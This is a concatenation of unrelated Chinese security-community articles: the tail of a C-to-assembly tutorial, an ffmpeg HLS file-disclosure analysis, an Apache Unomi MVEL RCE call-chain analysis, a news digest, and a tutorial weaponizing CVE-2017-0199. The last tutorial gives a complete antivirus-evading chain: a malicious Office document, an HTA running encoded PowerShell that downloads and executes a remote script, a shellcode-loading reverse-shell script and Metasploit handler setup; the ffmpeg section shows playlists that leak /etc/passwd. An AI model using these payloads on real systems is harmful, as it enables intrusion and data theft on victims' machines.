World”字符串后，在ptr变量（表示代码中的mem_alloc变量）上调用realloc(_realloc调用系统函数),并传入大小0x15(十进制21）。接下来，“1337
h4x0r @nonymoose”被分解为“1337 h4x”，“0r
@nony”，“moos”和“e”因为它被复制到新重新分配的内存空间中。最后，使用_free调用系统函数释放空间。
**套接字编程**
接下来，我们将通过分解一个非常基本的TCP客户端 - 服务器聊天系统来介绍套接字编程。
在我们开始分解服务器/客户端代码之前，重要的是指出文件顶部的以下代码行：
此行将PORT变量定义为1337.此变量将在客户端和服务器中用作用于创建连接的网络端口
**服务器**
首先，让我们看一下代码：
首先，使用AF_INET域，SOCK_STREAM类型和协议代码0创建套接字文件描述符“server”
。接下来，配置套接字选项和地址。然后，套接字绑定到网络地址/端口，服务器开始在所述服务器上监听，最大队列长度为3。收到连接后，服务器将其接受到sock变量中，并将传输的值读入value变量。最后，服务器在函数返回之前通过连接发送serverhello字符串。
现在，我们将其分解为汇编：
首先，创建并初始化服务器变量。
接下来，通过使用分别通过edx，esi和edi寄存器传递的协议，类型和域设置调用_socket系统函数来创建套接字文件描述“server” 。
然后，调用setsockopt来设置' server '套接字文件描述符上的套接字选项。
接下来，通过adress.sin_family，address.sin_addr.s_addr和address.sin_port初始化服务器的地址。
在地址和套接字配置时，服务器使用_bind调用系统函数绑定到网络地址。
绑定后，服务器通过传入'server'套接字文件描述符并且最大队列长度为3来监听套接字。
建立连接后，服务器接受套接字连接到sock变量。
然后，服务器使用_read调用系统函数将传输的消息读入值变量。
最后，服务器通过s变量（代表代码中的serverhello）发送serverhello消息。
**客户端**
首先，让我们看一下代码：
首先，套接字文件描述符'sock'是使用AF_INET域，SOCK_STREAM类型和协议代码0创建的。接着，memset的用于填充的存储区域SERVER_ADDR与'0'之前的地址信息是利用设置的server_addr.sin_family和server_addr.sin_port。接下来，在客户端连接到服务器之前，使用inet_pton将地址信息从文本转换为二进制格式。连接后，客户端发送它的helloclient字符串，然后将服务器的响应读入值变量。最后，打印出value变量，函数返回。
现在，我们将其分解为汇编：
首先，初始化客户端的局部变量。
'sock'套接字文件描述符是通过调用_socket系统函数并分别通过edx，esi和edi寄存器传递协议，类型和域信息来创建的。
接下来，使用_memset系统调用将server_address变量（在程序集中表示为's'）填充为'0'（0x30）。
然后，配置服务器的地址信息。
接下来，使用_inet_pton调用系统函数将地址从文本转换为二进制格式。请注意，由于代码中未明确定义地址，因此假定为localhost(127.0.0.1)。
客户端使用_connect调用系统函数连接到服务器。
连接后，客户端将helloClient字符串发送到服务器。
最后，客户端使用_read调用系统函数将服务器的回复读入value变量。
**线程**
最后，我们将介绍C语言中的线程基础知识。
首先，让我们看一下代码：
如您所见，程序首先输出“This is is the thread”，然后使用pthread_create函数创建一个指向*
mythread函数的新线程。完成* mythread函数后（在睡眠1秒后输出“Hello from
mythread”），新线程使用pthread_join函数连接回主线程并输出“This is is the thread”。
现在，我们将其分解为汇编：
首先，程序输出 “This is before the thread”。
接下来，使用_pthread_create调用系统函数创建一个新线程。这个线程指向mythread，因为它是启动例程。
如您所见，mythread函数只需在输出“ Hello from mythread ” 之前休眠一秒钟。
请注意：在mythread函数中，您将看到两个'nop'。这些内容专门用于在本文准备阶段轻松定位。
从mythread函数返回后，新线程使用_pthread_join函数与主线程连接。
最后，输出“This is after the thread”并将函数返回。
**结束陈述**
我希望这篇文章能够阐明一些更高级的编程概念及其底层汇编代码。 | 社区文章 |
6月24号的时候hackerone网站上公布了一个ffmpeg的本地文件泄露的漏洞，可以影响ffmpeg很多版本，包括3.2.2、3.2.5、3.1.2、2.6.8等等。
hackerone网站上的漏洞介绍:
<https://hackerone.com/reports/226756。与之相关联的还有其他几篇hackerone上的漏洞报告：https://hackerone.com/reports/243470、https://hackerone.com/reports/242831>)
实际上这个漏洞@EmilLerner和@PavelCheremushkin最早在今年的phdays大会上就已经披露了，视频可以在<https://www.phdays.com/broadcast/搜索Attacks>
on video converter得到，不过是全俄语的，暂时没有英文字母。也可以参考漏洞作者在phday大会上的ppt
作者实际上在5月份的时候就发现了该漏洞并提交，6月26号的时候公布出来，最新的ffmpeg版本3.3.2中已经修复了，但是旧的版本不保证。
背景介绍
FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机
APP 都采用了这个库，但是这个库历史上曝出的漏洞也非常之多。这次的漏洞是利用了ffmpeg可以处理 HLS 播放列表的功能，在 AVI 文件中的
GAB2字幕块中嵌入了一个 HLS 文件，然后提供给ffmpeg进行转码，在解析的过程中把它当做一个 XBIN 的视频流来处理，再通过 XBIN
的编解码器把本地的文件包含进来，最后放在转码后的视频文件当中。
漏洞重现方法
1) 下载脚本 <https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py2>) 运行脚本：python3 gen_xbin_avi.py
file:///etc/passwd sxcurity.avi3) 访问<https://arxius.io，上传sxcurity.avi4>)
等待上传处理视频5) 录像处理完成后，点击播放就可以看到/etc/passwd的内容
温故而知新
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似，可以说是旧瓶装新酒，老树开新花。
之前漏洞的一篇分析文章：
SSRF
和本地文件泄露（CVE-2016-1897/8）<http://static.hx99.net/static/drops/papers-15598.html>
这个漏洞实际上也是利用了ffmpeg在处理 HLS
播放列表文件的过程中，由于支持非常多的协议，如http、file、concat等等，导致可以构造恶意的url造成 SSRF
攻击和本地文件泄露。下面这幅图介绍了整个的攻击流程。
官方对这个漏洞的修复是把concat协议加入了黑名单并在结构体中加入了protocol_blacklist和protocol_whitelist这两个域。但是这次的漏洞利用了内嵌在字幕块中的
m3u8文件成功绕过了ffmpeg的某些限制。
HLS 协议简单介绍
HLS(HTTP Live
Streaming)是苹果公司针对iPhone、iPod、iTouch和iPad等移动设备而开发的基于HTTP协议的流媒体解决方案。在 HLS 技术中
Web 服务器向客户端提供接近实时的音视频流。但在使用的过程中是使用的标准的 HTTP 协议，所以这时，只要使用 HLS 的技术，就能在普通的 HTTP
的应用上直接提供点播和直播。该技术基本原理是将视频文件或视频流切分成小片(ts)并建立索引文件(m3u8)。客户端会先向服务器请求
m3u8索引文件，然后根据索引文件里面的url去请求真正的ts视频文件。如果是多级的m3u8索引的话，那就会从根索引文件开始，一层一层的往下去请求子的索引文件，获取最终的TS流文件的http请求地址与时间段。
M3U8文件中有很多TAG，每一个 TAG
的详细的作用可以参考这篇文章：<http://blog.csdn.net/cabbage2008/article/details/50522190>
针对ffmpeg 3.1.2版本的漏洞分析
先介绍一下ffmpeg是怎样把一个输入文件转码成另一种格式的视频文件，流程图如下：（图片引用自<http://blog.csdn.net/leixiaohua1020/article/details/25422685）>
然后我们观察一下攻击者提供的poc生成的sxcurity.avi文件的结构
最开始是 AVI 文件的文件头，然后中间有一个 GAB2字幕的文件头“GAB2”，在 GAB2的文件头后面还有 HLS
播放列表的文件头"#EXTM3U"，在文件头后面就是 HLS 的文件内容了。
这次的漏洞主要是利用了ffmpeg处理 GAB2字幕块的时候的逻辑错误，所以我们重点从ffmpeg打开输入文件时调用
read_gab2sub()这个函数开始分析，read_gab2sub() 函数是被avformat_find_stream_info()
这个函数调用的。整个函数调用流程图如下：
我们可以看到在为播放列表确定demuxer的时候探测出格式为XBIN，但是单看sxcurity.avi文件中并没有 XBIN
的文件头，那么ffmpeg是怎么确定格式是 XBIN 的呢。这就与 HLS
的解析过程密切相关了。在判断一个播放列表的格式时候，ffmpeg会读取播放列表的第一个segment，然后根据这个 segment
的url去请求文件内容，然后根据读取到的文件内容来判断格式。
我们可以看到sxcurity.avi里面内嵌的 playlist 的前几行是这样写的#EXT-X-MEDIA-SEQUENCE:0
### echoing b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
# EXT-X-KEY: METHOD=AES-128, URI=/dev/zero,
IV=0x4c4d465e0b95223279487316ffd9ec3a
# EXTINF:1,
# EXT-X-BYTERANGE: 16
/dev/zero
# EXT-X-KEY: METHOD=NONE
### echoing b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xbf\n'
# EXT-X-KEY: METHOD=AES-128, URI=/dev/zero,
IV=0x140f0f1011b5223d79597717ffd95330
以#EXT开头的都是m3u8文件中的标签，其他以#开头的是注释，不以#开头的是一个url
介绍一下上面出现的标签的含义
# EXT-X-MEDIA-SEQUENCE:每一个media URI 在 PlayList中只有唯一的序号，相邻之间序号+1, 一个media
URI并不是必须要包含的，如果没有，默认为0。
# EXTINF: duration 指定每个媒体段(ts)的持续时间（秒），仅对其后面的URI有效。
# EXT-X-KEY表示怎么对mediasegments进行解码。其作用范围是下次该tag出现前的所有mediaURI，属性为NONE或者
AES-128。对于AES-128的情况，URI属性表示一个key文件，通过URI可以获得这个key，如果没有IV（Initialization
Vector）,则使用序列号作为IV进行编解码；如果有IV，则将改值当成16个字节的16进制数。
那么上面几行代码包括了两个segment，每一个 segment 都需要使用 AES-128进行解密，密文是从/dev/zero这个
url获取的16个字节，其实就是16个'\0'， key
也是从/dev/zero这个url获取的16个字节，16个'\0'，IV是自己指定的一串十六进制数。ffmpeg对第一个 segment
进行解密后的结果是b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00',
和漏洞作者在注释中给出的一样。前四个字节 XBIN 就是 XBIN 的文件头。从而使得ffmpeg判定这个播放列表的格式是 XBIN。
在open_input_file的函数结尾，程序会调用av_dump_format函数打印格式信息，打印结果如下
Input #0, avi, from '../sxcurity.avi': Duration: 00:00:05.00, start: 0.000000,
bitrate: 547 kb/s Stream #0:0: Video: xbin, pal8, 256x240, 25 tbr, 25 tbn, 25
tbc
可以看到文件中只有一个视频流，视频流的格式编码格式被识别成了xbin
在打开输入文件和打开输出文件之后，程序就要开始进行转码工作了
在进行转码的过程中，我们可以在get_input_packet函数上下断点，该函数的作用是获取输入的一帧压缩的视频数据放在AVPacket中。
gdb-peda$ bt#0 get_input_packet (f=0x6dfc00, pkt=0x7fffffffe460) at
ffmpeg.c:3663
# 1 0x000000000042d40c in process_input (file_index=0x0) at ffmpeg.c:3798
# 2 0x000000000042eed2 in transcode_step () at ffmpeg.c:4108
# 3 0x000000000042effc in transcode () at ffmpeg.c:4162
# 4 0x000000000042f716 in main (argc=0x4, argv=0x7fffffffea48) at
ffmpeg.c:4357
# 5 0x00007ffff48a543a in __libc_start_main () from /usr/lib/libc.so.6
# 6 0x0000000000407ada in _start ()
get_input_packet() 调用结束之后打印pkt的内容，可以看到里面已经有了/etc/passwd文件的开头的部分信息。
然后 ffmpeg会转码成mpeg2的编码格式，最后封装成一个 mp4文件。打开 MP4文件，我们就能看到泄露出的文件内容了。
不转码的avi文件也是可以播放的，只是他播放的文件是当前调用ffmpeg的应用，例如你用爱奇艺打开就是调用爱奇艺的播放器，而爱奇艺是用了ffmpeg代码，就可以读到爱奇艺应用的的内部文件，就造成信息泄露，因为这些文件是没有权限读取的。
例如可以读到data/data/com.qiyi.video/shared_prefs/cn.com.mma.mobile.tracking.sdkconfig.xml
而转码的目的就是把你上传视频的服务器文件写死在转码后的文件，就是你无论转成.mp4,flv都可以播放的。
另一种攻击方式
攻击者针对<https://hackerone.com/reports/242831这个洞的> fix 又提出了另一种 bypass
方式<https://hackerone.com/reports/243470。这个方式比起使用xbin的方法要来的更加简洁。>
这次的 POC 生成的playlist长下面这样
# EXTM3U
# EXT-X-MEDIA-SEQUENCE:0
# EXTINF:1.0
GOD.txt
# EXTINF:1.0
/etc/passwd
# EXT-X-ENDLIST
翻译一下作者在评论区的说明：
首先我们有几点需要了解关于HLS playlist 是怎么被处理的：
1.处理一个 playlist 的时候ffmpeg把所有 segment 的内容连接在一起然后当做一个单独的文件来处理
2.ffmpeg会使用 playlist 第一个 segment 来决定文件的类型
3.ffmpeg用一种特殊的方式来处理.txt后缀的文件，它会尝试将文件的内容以终端的方式打印在屏幕上
所以上面的 playlist 的处理流程是这样的：
1.ffmpeg在 GAB2字幕块里面看到了#EXTM3U标签，认定文件类型是 HLS playlist。
2.GOD.txt这个文件甚至不需要存在，但是它的名字足够ffmpeg把文件类型检测成txt类型了
3.ffmpeg把 playlist 的所有 segment
的内容连接在一起，因为只有/etc/passwd这个文件是实际存在的，所以最后的内容就是/etc/passwd文件的内容
4.因为这个文件的类型是 txt 类型，所以ffmpeg绘制一个终端来打印这个文件。
需要注意的是在解析 playlist 文件的时候，每一个 segment 的url协议d的白名单为'file,
crypto'，所以这里直接把/etc/passwd改成<http://vul.com:21进行ssrf攻击是行不通的。>
对官方补丁的分析
补丁链接：<https://github.com/FFmpeg/FFmpeg/commit/189ff4219644532bdfa7bab28dfedaee4d6d4021>
官方对这个漏洞的修复也很简单，只是对播放列表中 file 协议的文件扩展名使用了白名单进行过滤。一定程度上缓解了攻击，但是还是可以泄露出那些多媒体文件。
typedefstructHLSContext {
//...省略了一下结构体的内容
\+ char _allowed_extensions; //增添一个字段，限制了允许的文件扩展名
} HLSContext;
staticintopen_url(AVFormatContext _s,
AVIOContext * _pb, constchar_ url,AVDictionary _opts, AVDictionary_ opts2, int
*is_http)
{
//...
// only http(s) & file are allowed
\- if (!av_strstart(proto_name, "http", NULL) && !av_strstart(proto_name,
"file", NULL))
\+ if (av_strstart(proto_name, "file", NULL)) {
\+ if (strcmp(c->allowed_extensions, "ALL") && !av_match_ext(url,
c->allowed_extensions)) {
\+ av_log(s, AV_LOG_ERROR,
\+ "Filename extension of \'%s\' is not a common multimedia extension, blocked
for security reasons.\n"
\+ "If you wish to override this adjust allowed_extensions, you can set it to
\'ALL\' to allow all\n",
\+ url);
\+ return AVERROR_INVALIDDATA;
\+ }
\+ } elseif (av_strstart(proto_name, "http", NULL)) {
\+ ;
\+ } elsereturn AVERROR_INVALIDDATA;
+
//...
}
总结
这个漏洞和以往的核心是m3u8文件可以根据指定url获取图片文字，而它里面的http协议和file协议没有过滤好，导致可以ssrf和读取任意文件，以前的漏洞是利用concat可以把泄露的信息传回给攻击者，这个是通过播放视频，可以把信息展示给攻击者。以后会有可能用别的方式触发ffmpeg的别的流程，绕过file协议的过滤。
参考资料
<http://blogs.360.cn/blog/ffmpegs_security_discussion/>
<https://github.com/radman1/xbin>
<https://hackerone.com/reports/243470>
<http://static.hx99.net/static/drops/papers-15598.html>
<https://tools.ietf.org/html/draft-pantos-http-live-streaming-18#userconsent>
<http://blog.csdn.net/cabbage2008/article/details/50522190>
<http://blogs.360.cn/blog/ffmpegs_security_discussion/>
XBIN 文件格式的详细介绍：<https://en.wikipedia.org/wiki/XBin>
* * *
* 作者：栈长、胖苗、超六@蚂蚁金服，更多安全知识分享和热点信息，请关注阿里聚安全的官方博客 | 社区文章 |
# Apache Unomi CVE-2020-13942 MVEL利用链分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Apache Unomi介绍
Apache Unomi具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B测试等功能，可以作为Web
CMS、个性化服务、原生移动应用的分析服务、具有分段功能的集中配置文件管理系统、授权管理中心。
## 漏洞介绍
CVE-2020-13942是CVE-2020-11975的绕过
该漏洞描述的是Unomi针对MVEL表达式（和OGNL表达式）的未进行敏感函数的过滤，直接解析，导致任意代码执行
本文主要对MVEL这条利用链做代码层面的分析
## poc请求包
漏洞利用时相关的Poc请求包如下，后续代码分析会涉及到
## 分析思路
MVEL表达式解析的模式有两种，分别是
* 解释模式`MVEL.eval(expression, vars)`
* 编译模式`MVEL.compileExpression(expression) + MVEL.executeExpression(compiled, vars)`
具体可以参考：[MVEL解析表达式](https://wsygoogol.github.io/2016/11/15/MVEL%E8%A7%A3%E6%9E%90%E8%A1%A8%E8%BE%BE%E5%BC%8F/)
### 倒推分析
通过在源码中搜索关键字`script::`与`MVEL.executeExpression(`可以初步定位出现问题的代码位于源码的如下位置
unomi-unomi-root-1.5.1\persistence-elasticsearch\core\src\main\java\org\apache\unomi\persistence\elasticsearch\conditions\ConditionContextHelper.java
我们构造的恶意表达式就是通过这条代码进行解析从而导致RCE的
基于此方法向上回溯，找调用它的地方
继续向上回溯
看到`condition.getParameterValues()`基本可以确定我们的思路是正确的
接下来主要找入口点，即往`/context.json`这个路径下发送数据是如何一步一步到`ConditionContextHelper#getContextualCondition()`的
向上回溯`getContextualCondition()`有三处调用到
几个方法分别是`buildFilter()`、`count()`、`eval()`，因为看到poc里有关键字`filter`，所以先跟入`buildFilter()`，看看是不是从这里进来的
接着向上回溯，看`buildFilter()`的调用位置
最终回溯到的位置（即入口位置）位于`ElasticSearchPersistenceServiceImpl`重写的`excute()`方法中
看完`buildFilter()`，然后接着看`eval()`（`count()`方法作用不大，忽略）
`eval()`最终回溯到的位置（即入口位置）位于`ElasticSearchPersistenceServiceImpl`重写的`testMatch()`方法中
然后只需要找出调用如下两个方法的位置就可以找到完整的调用链
ElasticSearchPersistenceServiceImpl#excute()
ElasticSearchPersistenceServiceImpl#testMatch()
### 正推分析
接下来我开始从请求的入口处开始进行分析
在docker环境中找到了如下jar包
unomi-wab-1.5.1.jar
这个jar包包含了处理web的逻辑，其对应着的源码包是
unomi-unomi-root-1.5.1/wab
里面的`contextServlet.class`对应着我们请求的`/context.json`
该类继承了`HttpServlet`类，且无`doGet()`和`doPost()`方法，但是有用于处理请求的`service()`方法
> 注：`service()`此方法是接收http-request请求的原始方法，请求会发送到这个方法然后才会向`doGet()`或`doPost()`分发
这里的`contextRequest`就是我们poc传入的body（可以根据`getSessionId`等方法以及响应数据判断出来）
接着这里会将`contextRequest`作为参数传入`handleRequest()`
接着看到355行
在执行`getFilters()`后，拿到的应该是如下部分
之后进入for循环，比较重要的是有一个`personalizedContent`对象，这个类的数据结构如下：
正好对应着我们上图传入的内容
然后跟进359行的`personalizationService.filter()`方法
> 注：personalizationService是interface，我们知道，接口不可以实例化。但是接口对象可以指向它的实现类对象。
所以这里的`filter()`应该是其Impl类的`filter()`方法，所以我们跟进位于源码包
unomi-unomi-root-1.5.1\services\src\main\java\org\apache\unomi\services\impl\profiles\ProfileServiceImpl.java
的`filter()`方法
然后跟进67行的`profileService.matchCondition()`也在同一个源码包下
在781行出现了最关键的`persistenceService.testMatch()`，而上半段分析的`ElasticSearchPersistenceServiceImpl`正好是`persistenceService`唯一的实现类
至此，整个调用链已经打通，我们整理一下调用链
### 调用链整理
org.apache.unomi.web.ContextServlet#service() -> org.apache.unomi.web.ContextServlet#handleRequest() -> org.apache.unomi.services.impl.personalization.PersonalizationServiceImpl#filter() -> org.apache.unomi.services.impl.profiles.ProfileServiceImpl#matchCondition() -> org.apache.unomi.persistence.elasticsearch.ElasticSearchPersistenceServiceImpl#testMatch() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionEvaluatorDispatcher#eval() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#getContextualCondition() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#parseParameter() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#executeScript()
最终被`executeScript()`的
MVEL.executeExpression(mvelExpressions.get(script), context);
解析执行 | 社区文章 |
# 【知识】8月7日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：用于创建后门的Python包、
win7粘滞键后门、车联网安全：CAN协议分析、SMBLoris:Windows拒绝服务metasploit模块、Microsoft Windows –
LNK Shortcut File Code Execution、ACCESS无select SQL注入、Marcus
Hutchins（MalwareTech）被保释，但不能离开美国 ******
**国内热词(以下内容部分摘自<http://www.solidot.org/> )：**
WannaCry 勒索到的比特币被兑换成门罗币
东亚国家的 HTTPS 普及度较低
**资讯类：**
Marcus Hutchins（MalwareTech）被保释，但不能离开美国
<http://thehackernews.com/2017/08/malwaretech-marcus-hutchins.html>
MISP 2.4.78发布了一个重要的安全修复程序，用于共享组，多个bug修复和新的API功能
<https://www.misp-project.org/2017/08/06/MISP.2.4.78.released.html>
**技术类：**
用于创建后门的Python包
<https://0x00sec.org/t/a-python-package-for-creating-backdoors/3170>
ANGRYPUPPY（Cobalt Strike框架的工具）介绍
[https://www.mdsec.co.uk/2017/08/introducing-angrypuppy/](https://www.mdsec.co.uk/2017/08/introducing-angrypuppy/)
win7粘滞键后门
<http://3xp10it.cc/web/2017/08/03/win7%E7%B2%98%E6%BB%9E%E9%94%AE%E5%90%8E%E9%97%A8/>
使用Hover改善Android用户输入的保密性
<https://www.ethz.ch/content/dam/ethz/special-interest/infk/inst-infsec/system-security-group-dam/research/publications/pub2017/WiSec17_ulqinaku.pdf>
Microsoft图标显示错误允许攻击者使用特殊图标伪装PE文件
<https://www.cybereason.com/labs-a-zebra-in-sheeps-clothing-how-a-microsoft-icon-display-bug-in-windows-allows-attackers-to-masquerade-pe-files-with-special-icons/>
将XSS转化为RCE
<https://blog.doyensec.com/2017/08/03/electron-framework-security.html>
Keybase浏览器扩展安全问题解析
<https://www.grepular.com/Keybase_Browser_Extension_Insecure>
车联网安全：CAN协议分析
<https://www.hackers-arise.com/single-post/2017/08/04/Automobile-Hacking-Part-1-The-CAN-Protocol>
setattrlist()iOS内核漏洞分析
<https://www.antid0te.com/blog.html>
胖客户端测试Java反序列化导致RCE
<http://blog.securelayer7.net/thick-client-penetration-testing-3javadeserialization-exploit-rce/>
DEF CON 2017回顾
<http://dttw.tech/posts/rJHDh3RLb>
radare2（gdb-peda的替代品）介绍
<https://monosource.github.io/2016/10/radare2-peda>
SSRF Tips
<http://blog.safebuff.com/2016/07/03/SSRF-Tips/>
一个针对渗透测试工程师、安全研究员的学习资源收集汇总
<https://github.com/Hack-with-Github/Awesome-Hacking/blob/master/README.md>
如何自制Boot Loader
<https://www.codeproject.com/Articles/36907/How-to-develop-your-own-Boot-Loader>
Reverse-engineering of the cryptanalytic attack used in the Flame super-malware
<https://eprint.iacr.org/2016/298.pdf>
ACCESS无select SQL注入
[https://forum.90sec.org/forum.php?mod=viewthread&tid=10663](https://forum.90sec.org/forum.php?mod=viewthread&tid=10663)
自动逆向工程恶意软件仿真器
<http://www.ict-forward.eu/media/workshop2/presentations/lee-re-malware-emulators.pdf>
SMBLoris:Windows拒绝服务metasploit模块
<https://github.com/rapid7/metasploit-framework/pull/8796>
Microsoft Windows – LNK Shortcut File Code Execution
<https://www.exploit-db.com/exploits/42429/>
PhEmail：基于Python的开源邮件钓鱼工具
<https://github.com/Dionach/PhEmail> | 社区文章 |
# 【技术分享】CVE-2017-0199结合powershell过杀软弹回meterpreter
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[七三](http://bobao.360.cn/member/contribute?uid=1252619100)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x01 介绍**
CVE-2017-0199是2017年4月11日发布的一个Microsoft Office
RTF漏洞，当用户打开包含嵌入式漏洞的文档时，允许使用者下载并执行恶意的Visual
Basic脚本。office使用用户非常多，因此该漏洞可用作许多社工攻击了。
当我们需要弹回一个meterpreter时总要考虑免杀的问题，一般的exe完全没有在安装杀软的机器上得到执行的机会。
考虑到powershell的无文件特性，这里使用powershell倒是可以一试。
**为什么免杀：**
1.这里不需要执行msfvenom生成的恶意程序，因为基本上所有的杀软都会杀掉的
2.使用powershell加载脚本执行，弹meterpreter的功能用ps1脚本实现
**0x02 技术细节**
在可访问服务器(你的vps or 肉鸡)建立一个RTF空文件（目的在于避免下面插入对象时不存在而出错）。
shell
echo ''>rtf.rtf
新建一个word文档–插入–对象(在右边栏下)–由文件创建–加上`http://xxxxxx/rtf.rtf`
记得勾选`链接到文件`，另保存为docx文件，
然后修改内部加载。可以将docx后缀换为zip–打开
找到word\\_relsdocument.xml.rels 文件编辑
找到oleObject对象。如下
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
x.x.x.x 就是之前制作docx的插入服务器ip地址。修改为
xml
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
然后保存覆盖
在服务器添加一个hta.hta文件，放到上面链接能访问到的位置，hta内容如下：
html
<html>
<head>
<script>var c= 'C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -ep bypass -enc QwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHcAaQBuAGQAbwB3AHMAcABvAHcAZQByAHMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGUAcAAgAGIAeQBwAGEAcwBzACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeAAuAHgALgB4AC4AeAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYADQAKAA==';new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
这是一个远程运行powershell反弹meterpreter的运行语句
其中一段base64解码完成后的powershell语句如下，这里编码的好处是可以避免一些特殊字符带来的错误。
powershell
C:Windowssyswow64windowspowershellv1.0powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
如果这里是32为系统 则可以不加前面的路径，如下
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
现在来解释这个`http://x.x.x.x/rev.ps1`是什么？
这也是一个放在可访问的服务器下的powershell脚本，内容如下
powershell
function rev {
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('x.x.x.x', 2333) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
}
注意其中的`$s.Connect('x.x.x.x', 2333)`就是你msf监听的地址和端口。修改后放在一个可访问的服务器上即可。
然后编码你这个powershell语句 放入hta文件中
`echo IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev|iconv --to-code UTF-16LE |base64`
开启msf监听,
shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST x.x.x.x
LHOST => x.x.x.x
msf exploit(handler) > set LPORT 2333
LPORT => 2333
运行docx，有个弹框 选择是才可以弹回shell，不然弹不回，
如果要想不用选择`是`都可以弹回shell
可以将docx文件另存为rtf文件，用编辑器打开，将
`objectobjautlinkrsltpict` 替换为 `objectobjautlinkobjupdatersltpict` 即可
然后打开rtf文件 也有弹框供你选择 但是已经弹回来了。
私以为docx文档比rtf文档更容易让别人点击。
全程开着杀软，并没有提示危险信息，这得自与powershell的强大之处。
**0x03 参考**
<https://404.so/7508.html>
<https://xianzhi.aliyun.com/forum/read/1547.html> | 社区文章 |
Subsets and Splits